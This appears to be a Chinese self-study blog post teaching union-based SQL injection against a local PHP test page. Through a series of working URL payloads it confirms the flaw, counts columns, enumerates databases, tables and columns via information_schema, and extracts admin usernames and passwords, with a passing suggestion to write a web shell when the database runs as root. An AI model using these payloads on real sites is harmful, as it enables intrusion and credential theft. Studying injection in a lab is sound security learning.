• SQL注入自学[第二学:注入环境的简单突破]


    /*

    原文出处:珍惜少年时

    留给原创一个ZBD机会。

    加号即空格

    */

    00x1 判断是否含有注入

    http://127.0.0.1/1.php?id=3 and 1=1--           

    返回正确的页面。

    http://127.0.0.1/1.php?id=3 and 1=2--   

    页面的数据就不存在了。说明and是被带入到数据库当中的。

    00x2 判断字段长度

    http://127.0.0.1/1.php?id=3 order by 4--          //返回错误
    http://127.0.0.1/1.php?id=3 order by 3--          //返回正确

    如图所示有三个字段,所以order by 3是正确的。order by 4是错误的。因为只有三个字段。

    ====================》》》》》字段的长度为:3《《《《《====================

    00x3 爆出显示位

    code:

    http://127.0.0.1/1.php?id=-3+union+select+1,2,3--     //用-3使得前面的sql语句报错而不执行,进而执行“select+1,2,3--”该条sql语句

    由图可见,1,2,3都是显示位。

    00x4 爆数据库、爆mysql信息

    /*在原来的基础上将源码修改了一下,使得界面更好看了些。*/

    常用的函数

    system_user()              #系统用户名
    user()                     #用户名
    current_user               #当前用户名
    session_user()             #连接数据库的用户名
    database()                 #数据库名
    version()                  #MYSQL 数据库版本
    load_file()                #MYSQL读取本地文件的函数
    @@datadir                  #读取数据库路径
    @@basedir                  #MYSQL 安装路径
    @@version_compile_os       #操作系统

    爆数据库

    语句:http://127.0.0.1/1.php?id=-1 union select concat(user(),0x5F,database()),2,3 from mysql.user--
    /*
    concat():顾名思义的一个函数,其作用就是联合数据。
    ox5F     :如图所示的那样是HEX值,因为使用了concat将两条数据联合了以后不大好区分出那条数据是A那条数据是B的,所以使用其为之示意。当然了也可以换成其他的,但需记得转化为hex
    mysql.user :是mysql数据库下的user表。是用来存储用户的数据
    */

    这里重要的是爆数据库,当然了其他的同样重要,毕竟是一个收集信息的过程。如果是root权限时可以尝试mysql里的文件写入函数进行写入shell了,当然了需要找到网站的路径。

    以下是爆出所有的数据库:

    http://127.0.0.1/1.php?id=-1 union select 1,2,concat(group_concat(distinct+schema_name)) from information_schema.schemata--

    group_concat:与concat类似,此函数与“*”符号类似。含有所有之意。
    distinct:去除重复的函数

    ×/

     

    00x5 爆表明

    然后找出那个是管理员账户信息所在的数据库(PS:这里我们的是sqlinject)将其转换为hex值。

    sqlinject转换后的HEX值是:0x73716C696E6A656374

    code:

    http://127.0.0.1/1.php?id=-1+union+select+1,2,concat(group_concat(distinct+table_name))+from+information_schema.tables+where+table_schema=0x73716C696E6A656374--
    /*
    information_schema.tables:储存MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。.tables是information_schema下的一个表
    table_schema:即表模式,每一个用户都有对应的schema。schema的英译是"模式",
    schema:数据库对象的集合.tables views sequences stored procedures synonyms indexes clusters and database links等。
    */

     

    说明sqlinject下所有的表,就是“admin,user,user_a”后两个是临时创建的,只有一个怕看的不是很懂。如此一来获得了表。

    00x6 爆字段、列明

    code:

    http://127.0.0.1/1.php?id=-1 union select concat(group_concat(distinct column_name)),2,3 from information_schema.columns where table_schema=0x73716C696E6A656374--

     

     可以看到有三个字段,分别是:id,username,password。其中username和password是我们需要的。

    00x7 爆字段内容

     code:

    http://127.0.0.1/1.php?id=-1+union+select+username,password,3+from+admin--

     

  • 相关阅读:
    angular.element函数
    mknod创建命名管道(I/O缓存)
    谈谈sipXecs及其它【转】
    Linux下判断cpu物理个数、几核
    shell 中判断文件/文件夹是否存在
    一个人可以用Open IMS Core做什么呢
    linux 下更改磁盘名
    PPTP 服务器配置
    IP多媒体子系统[转维基百科]
    针对用编译的方式安装时的卸载
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6032280.html
Copyright © 2020-2023  润新知